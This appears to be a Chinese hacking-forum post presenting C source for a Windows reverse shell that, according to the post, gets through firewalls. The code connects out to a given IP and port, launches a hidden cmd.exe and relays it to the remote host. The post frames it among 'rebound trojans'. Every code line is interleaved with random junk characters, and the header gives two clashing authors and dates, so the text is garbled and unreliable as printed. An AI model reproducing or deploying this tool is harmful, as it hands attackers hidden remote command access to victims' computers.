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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 QN_)3lm  
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/* ============================== cW)Oi^q%o2  
Rebound port in Windows NT 3z,v#2  
By wind,2006/7 Yzj%{fkh  
===============================*/ %bIsrQ~B  
#include .vv5 t  
#include Ky[bX  
X,RT<GNNb  
#pragma comment(lib,"wsock32.lib")  6R;)  
M`0(!Q}  
void OutputShell(); N@Xg5huO  
SOCKET sClient; Qm.z@DwFM{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9?uqQ  
e7@li<3>d  
void main(int argc,char **argv) C(-[ Y!  
{ j\2] M  
WSADATA stWsaData; 0jR){G9+  
int nRet; 8#+`9GI  
SOCKADDR_IN stSaiClient,stSaiServer; +w "XNl  
9v~1We;{$  
if(argc != 3) f%2%T'Q  
{ DVObrL)znL  
printf("Useage:\n\rRebound DestIP DestPort\n"); zzX<?6MS  
return; ZV!R#Xv  
} Uh|TDuM  
|]^l^e 6m  
WSAStartup(MAKEWORD(2,2),&stWsaData); jEUx q%BH  
QT#b>xV)1  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "E.\6sC  
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stSaiClient.sin_family = AF_INET; y:Z$LmPc<  
stSaiClient.sin_port = htons(0); D899gGe  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); csYy7uzi  
!0`lu_ZN  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wi>DZkR  
{ sNL+F  
printf("Bind Socket Failed!\n"); StEQ -k  
return; qtO1hZ  
} (FuEd11R  
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stSaiServer.sin_family = AF_INET; O{~KR/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Tj=gRQ2v  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d$}&nV/A)  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X1Qr _o-BR  
{ h{I`7X  
printf("Connect Error!"); Z%#^xCz;w>  
return; nh<Z1tMU  
} d [r-k 2  
OutputShell(); SgiDh dE  
}  m;c3Z-  
a~,Kz\Tt  
void OutputShell() ] @ufV  
{ &Y+e=1a+  
char szBuff[1024]; \Dfm(R  
SECURITY_ATTRIBUTES stSecurityAttributes; d,UCH  
OSVERSIONINFO stOsversionInfo; [P{a_(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; / $_M@>  
STARTUPINFO stStartupInfo; _C20 +PMO  
char *szShell; })P O7:  
PROCESS_INFORMATION stProcessInformation; J smB^  
unsigned long lBytesRead; ;= a_B1"9u  
Ls1B \Aw_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $C u R}g  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6|5H=*)DH  
stSecurityAttributes.lpSecurityDescriptor = 0; E~qQai=]  
stSecurityAttributes.bInheritHandle = TRUE; yPoSJzC=[  
h/HH Kn  
"TNVD"RLY  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \^0!|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d*2u}1Jo8  
*}w+ 68eO  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A @2Bs 5F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gqfDa cDJL  
stStartupInfo.wShowWindow = SW_HIDE; vQgq]mA?  
stStartupInfo.hStdInput = hReadPipe; q(Hip<6p  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; aBxiK[[`  
b# u8\H  
GetVersionEx(&stOsversionInfo); x#r<,uNn,  
{~'H  
switch(stOsversionInfo.dwPlatformId) 0q#"clw  
{ R!6=7  
case 1: DkdL#sV  
szShell = "command.com"; G>K@AW #  
break; wt?o 7R2  
default: lL0M^Nv  
szShell = "cmd.exe"; g*J@[y;  
break; D"^'.DL@wG  
} <*wM=aq  
{[W(a<%bXm  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uokc :D  
<<,>S&/  
send(sClient,szMsg,77,0); RV;!05^<  
while(1) $(rc/h0/E  
{ orqJ[!u)`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 59lj7  
if(lBytesRead) wd+K`I/v7h  
{ :o8MUXH$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); T$mbk3P  
send(sClient,szBuff,lBytesRead,0);  "r$/  
} fd1C {^c  
else (>7>3  
{ UQPU"F7.  
lBytesRead=recv(sClient,szBuff,1024,0); !OAvD#  
if(lBytesRead<=0) break; t)a;/scT  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pW|u P8#  
} JN(-.8<  
} /{*$JF  
v"!4JZ%K  
return; L l}yJ#3,  
}
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